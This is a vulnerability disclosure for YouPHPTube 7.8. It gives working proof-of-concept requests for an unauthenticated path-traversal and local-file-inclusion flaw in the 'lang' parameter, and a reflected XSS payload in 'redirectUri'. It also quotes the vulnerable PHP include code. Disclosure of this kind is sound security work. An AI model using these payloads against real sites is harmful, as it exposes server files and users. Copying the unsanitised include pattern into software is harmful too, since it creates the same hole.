# Exploit Title: YouPHPTube <= 7.8 - Multiple Vulnerabilities # Discovery by: Rafael Pedrero # Discovery Date: 2021-01-31 # Vendor Homepage: https://www.youphptube.com/ # Software Link : https://www.youphptube.com/ # Tested Version: 7.8 # Tested on: Windows 7, 10 using XAMPP # Vulnerability Type: LFI + Path Traversal CVSS v3: 7.5 CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CWE: CWE-829, CWE-22 Vulnerability description: YouPHPTube v7.8 allows unauthenticated directory traversal and Local File Inclusion through the parameter in an /?lang=PATH+TRAVERSAL+FILE (without php) GET request because of an include_once in locale/function.php page. Proof of concept: To detect: http://localhost/youphptube/index.php?lang=) An error is generated: Warning: preg_grep(): Compilation failed: unmatched parentheses at offset 0 in C:\xampp\htdocs\YouPHPTube\locale\function.php on line 47 In function.php page, we can see: // filter some security here if (!empty($_GET['lang'])) { $_GET['lang'] = str_replace(array("'", '"', """, "'"), array('', '', '', ''), xss_esc($_GET['lang'])); } if (empty($_SESSION['language'])) { $_SESSION['language'] = $config->getLanguage(); } if (!empty($_GET['lang'])) { $_GET['lang'] = strip_tags($_GET['lang']); $_SESSION['language'] = $_GET['lang']; } @include_once "{$global['systemRootPath']}locale/{$_SESSION['language']}.php"; The parameter "lang" can be modified and load a php file in the server. In Document root: /phpinfo.php with this content: To Get phpinfo.php: http://127.0.0.1/youphptube/?lang=../../phpinfo Note: phpinfo without ".php". The new Path is: @include_once "{$global['systemRootPath']}locale/../../phpinfo.php"; And you can see the PHP information into the browser. # Vulnerability Type: reflected Cross-Site Scripting (XSS) CVSS v3: 6.5 CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N CWE: CWE-79 Vulnerability description: YouPHPTube 7.8 and before, does not sufficiently encode user-controlled inputs, resulting in a reflected Cross-Site Scripting (XSS) vulnerability via the //signup?redirectUri=, in redirectUri parameter. Proof of concept: http://localhost/ /signup?redirectUri='"()%26%25